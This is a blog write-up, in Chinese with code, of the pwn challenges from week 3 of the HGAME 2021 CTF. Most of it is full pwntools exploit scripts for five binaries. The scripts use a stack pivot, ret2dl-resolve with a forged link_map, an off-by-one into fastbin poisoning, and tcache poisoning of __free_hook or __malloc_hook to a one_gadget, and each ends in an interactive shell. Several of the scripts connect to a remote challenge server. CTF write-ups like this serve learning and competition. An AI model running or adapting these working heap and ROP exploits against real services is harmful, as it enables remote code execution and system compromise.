HGAME2021-WEEK3-PWN-WP

Posted on Feb 16, 2021

blackgive

栈迁移

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
context.terminal = ['tmux','splitw','-h']

sh = process("./blackgive")
#sh = remote("")
libc = ELF("./libc6_2.27-3ubuntu1.4_amd64.so")
elf = ELF("./blackgive")

pop_rdi_ret = 0x400813
bss_base = 0x6010A0
off = 0xA0

payload = 'paSsw0rd'.ljust(0x20,'\x00')
payload += p64(bss_base + off - 0x8) + p64(0x4007A3)
sh.recvuntil("password:")
#gdb.attach(proc.pidof(sh)[0])
sh.send(payload)
payload = '\x00' * off + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(0x40070a) 
sh.sendlineafter("!\n",payload)

puts_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']

payload = 'paSsw0rd'.ljust(0x20,'\x00')
payload += p64(0) + p64(libc_base + 0x4f432)
sh.sendafter("password:",payload)

sh.interactive()

without_leak

64 位 ret2dl-resolve 裸题。由于输出流都被关闭,所以无法实现 leak,考虑进行 ret2dl-resolve。由于提供了 libc,考虑通过伪造 link_map 结构体 getshell。打本地的时候,即便打通了也会有

这个 Got EOF,一般这个时候就是说明失败了,而且用 exec 1>&0 也无用,导致我浪费了很多时间调试。最后终于想到用 mkdir 测试一下才知道成功 getshell 了。

关于调试,由于我们的伪造,sym->st_other 是指向 read@got - 8 的,也就是 close@got,要保证 close 被解析过才能正常运行,否则会崩溃。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ['tmux','splitw','-h']

#sh = process("./without_leak")
sh = remote("182.92.108.71",30483)
elf = ELF("./without_leak")
bss_addr = 0x404B00

def ret2csu_payload(rbx,rbp,call_addr,argv1,argv2,argv3):
    csu1 = 0x40123A
    csu2 = 0x401220
    payload = p64(csu1)
    payload += p64(0) + p64(1) + p64(argv1) + p64(argv2) + p64(argv3) + p64(call_addr)
    payload += p64(csu2)
    payload += p64(0) * 7
    return payload

def fake_Linkmap_payload(elf,fake_linkmap_addr,known_func_ptr,offset):
    plt0 = elf.get_section_by_name('.plt').header.sh_addr
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr
    linkmap += p64(17)#l_name
    linkmap += p64(fake_linkmap_addr + 0x18)#l_ld
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))#l_next
    linkmap += p64(7)#l_prev
    linkmap += p64(0)#l_real
    linkmap += p64(0)#l_ns
    linkmap += p64(6)#l_libname
    linkmap += p64(known_func_ptr - 8)#l_info[0] tags
    linkmap += '/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,'A')
    linkmap += p64(fake_linkmap_addr)
    linkmap += p64(fake_linkmap_addr + 0x38)
    linkmap = linkmap.ljust(0xf8,'A')
    linkmap += p64(fake_linkmap_addr + 8)

    resolve_call = p64(plt0 + 6) + p64(fake_linkmap_addr) + p64(0)
    return (linkmap,resolve_call)

offset = 0x20 + 0x8
payload = '\x00' * offset
libc = ELF("./libc-2.27.so")
log.success('system offset:' + hex(libc.sym['system']))
fake_linkmap_addr = bss_addr + 0x100
linkmap, resolve_call = fake_Linkmap_payload(elf,fake_linkmap_addr,elf.got['read'],libc.sym['system'] - libc.sym['read'])
payload += ret2csu_payload(0,1,elf.got['read'],0,fake_linkmap_addr,len(linkmap))
payload += p64(0x401156)
#sh.sendafter('input> \n',rop.chain().ljust(0x200,'a'))
sh.recvuntil('input> \n')
#gdb.attach(proc.pidof(sh)[0])
sh.send(payload.ljust(0x200,'a'))
sh.send(linkmap)

payload = '\x00' * offset
payload += p64(0x40101a)
payload += p64(0x401243)
payload += p64(fake_linkmap_addr + 0x48)
payload += resolve_call
sh.send(payload.ljust(0x200,'\x00'))

sh.interactive()

todolist

这道题就不说了,和上周的题是几乎一样的

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')

#sh = process("./todolist")
sh = remote("182.92.108.71",30411)
libc = ELF("./libc-2.27.so") 
def take(size):
    sh.sendlineafter("exit\n",'1')
    sh.sendlineafter("write?\n",str(size))

def delete(index):
    sh.sendlineafter("exit\n",'2')
    sh.sendlineafter("delete?\n",str(index))
  
def edit(payload,index):
    sh.sendlineafter("exit\n",'3')
    sh.sendlineafter("edit?\n",str(index))
    sh.sendlineafter("write?\n",str(len(payload)))
    sh.send(payload)

def show(index):
    sh.sendlineafter("exit\n",'4')
    sh.sendlineafter("check?\n",str(index))

take(2048)#index:0
take(0x100)#index:1

delete(0)
show(0)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96
log.success("libc_base:" + hex(libc_base))
delete(1)

#malloc_hook = libc_base + libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
#log.success("malloc_hook:" + hex(malloc_hook)) 
#edit(p64(malloc_hook - 0x10),1)
edit(p64(free_hook),1)
take(0x100)#index:2
take(0x100)#index:3

one_gadget = libc_base + 0x4f432
realloc = libc_base + libc.symbols["__libc_realloc"]
#payload = p64(one_gadget) + p64(realloc + 0xa)
payload = p64(one_gadget)
edit(payload,3)

#take(0x200)
delete(0)
sh.interactive()

看完之后就觉得这题可以用上周的 exp 来打,所以就 cp 了一下上周的,但是没看清所处的目录,一个 tab 一个回车之后我 blackgive 的 exp 就没了。

Library management System

off by one

这个读入函数是会多读一个字节的,所以我们利用他来修改下一个 chunk 的 size 域。做法就是先申请4个 chunk,记作A,B,C,D。由于本题没有修改的功能,所以需要先 free A,再 alloc A,通过对 A off by one 修改 chunk B 的 size 域,使 chunk B 的 size为 B 和 C 的和(这是为了在 free的时候通过检测。同时这个和需要大于0x80,这样 free的时候才会进 Unsorted Bin)实现 chunk overlapping,然后 free掉 B,再把 B 申请回来就可以通过 show的功能 leak 出 libc。然后再来一轮,这次先 free掉 C,再对 B chunk overlapping,修改 C 的 fd,使之指向 &__malloc_hook - 0x23。指向这个奇怪地址的原因是因为 fastbin 会对目标 chunk 的 size 做检测

可见 malloc 附近并没有可以作为 size 。好在 fastbin 并不会对地址对齐做检测,所以我们通过字节错位来伪造出 size,也就是 从 &__malloc_hook - 0x23 开始的这个 chunk 了。

就是这样一个效果,我们就可以实现 arbitrary alloc 了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')

#sh = process("./library")
sh = remote("182.92.108.71",30431)
libc = ELF("./libc.so.6")

def Add(size,payload):
    sh.sendlineafter("choice: ",str(1))
    sh.sendlineafter("title: ",str(size))
    sh.sendafter("title: ",payload)

def Delete(index):
    sh.sendlineafter("choice: ",str(2))
    sh.sendlineafter("id: ",str(index))

def Show(index):
    sh.sendlineafter("choice: ",str(3))
    sh.sendlineafter("id: ",str(index))

Add(24,'index:0\n')
Add(48,'index:1\n')
Add(64,'index:2\n')
Add(16,'index:3\n')#avoid top chunk

Delete(0)
Add(24,'a' * 24 + '\x91')
Delete(1)
Add(48,'\n')
Show(1)
sh.recvuntil("is ")
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - (0x3C4B20 + 0x80 + 88)
log.success('libc_base:' + hex(libc_base))
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
alloc_addr = malloc_hook - 0x23
one_gadget = libc_base + 0x4527a
realloc_addr = libc_base + 0x84720

Add(0x40,'index:4\n')
Add(24,'index:5\n')
Add(16,'index:6\n')
Add(0x68,'index:7\n')
Add(16,'index:8\n')#avoid top chunk

Delete(7)
Delete(5)
Add(24,'a' * 24 + '\x91')
Delete(6)

payload = 'a' * 16 + p64(0) + p64(0x71) + p64(alloc_addr)
Add(112,payload + '\n')

Add(0x68,'\n')
Add(0x68,'a' * 0xB + p64(one_gadget) + p64(realloc_addr) + '\n')
sh.sendlineafter("choice: ",str(1))
sh.sendlineafter("title: ",str(16))
#Add(16,'\n')

sh.interactive()

todolist2

看了许久没看出漏洞点,最后终于发现是在 read 函数里

打个 -1 就可以随便输了。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context(log_level = 'debug')
context.terminal = ['tmux','splitw','-h']

#sh = process("./todolist2")
sh = remote("182.92.108.71",30521)
libc = ELF("./libc-2.27.so") 
def take(size):
    sh.sendlineafter("exit\n",'1')
    sh.sendlineafter("write?\n",str(size))

def delete(index):
    sh.sendlineafter("exit\n",'2')
    sh.sendlineafter("delete?\n",str(index))
  
def edit(payload,index,size):
    sh.sendlineafter("exit\n",'3')
    sh.sendlineafter("edit?\n",str(index))
    sh.sendlineafter("write?\n",str(size))
    sh.send(payload)

def show(index):
    sh.sendlineafter("exit\n",'4')
    sh.sendlineafter("check?\n",str(index))

take(0x410)#index:0
take(0x410)#index:1
take(0x20)#index:2
delete(0)
delete(1)
take(0x830)#index:3

show(3)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96
log.success("libc_base:" + hex(libc_base))
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
log.success("malloc_hook:" + hex(malloc_hook)) 
log.success("free_hook:" + hex(free_hook)) 
one_gadget = libc_base + 0x4f432
log.success("one_gadget:" + hex(one_gadget))
'''----------- above dumped libc ----------'''

take(0x100)#index:4
take(0x100)#index:5
delete(5)
edit('a' * 0x100 + p64(0) + p64(0x111) + p64(free_hook) + '\n',4,-1)
#edit('a' * 0x100 + p64(0) + p64(0x111) + p64(malloc_hook) + '\n',4,-1)
#edit('a' * 0x100 + p64(0) + p64(0x111) + p64(malloc_hook - 0x10) + '\n',4,-1)
take(0x100)#index:6
take(0x100)#index:7

realloc = libc_base + libc.symbols["__libc_realloc"]
#payload = p64(one_gadget) + p64(realloc + 0xa)
payload = p64(one_gadget)
edit(payload,7,len(payload))
#gdb.attach(proc.pidof(sh)[0])
#take(0x200)
delete(2)
sh.interactive()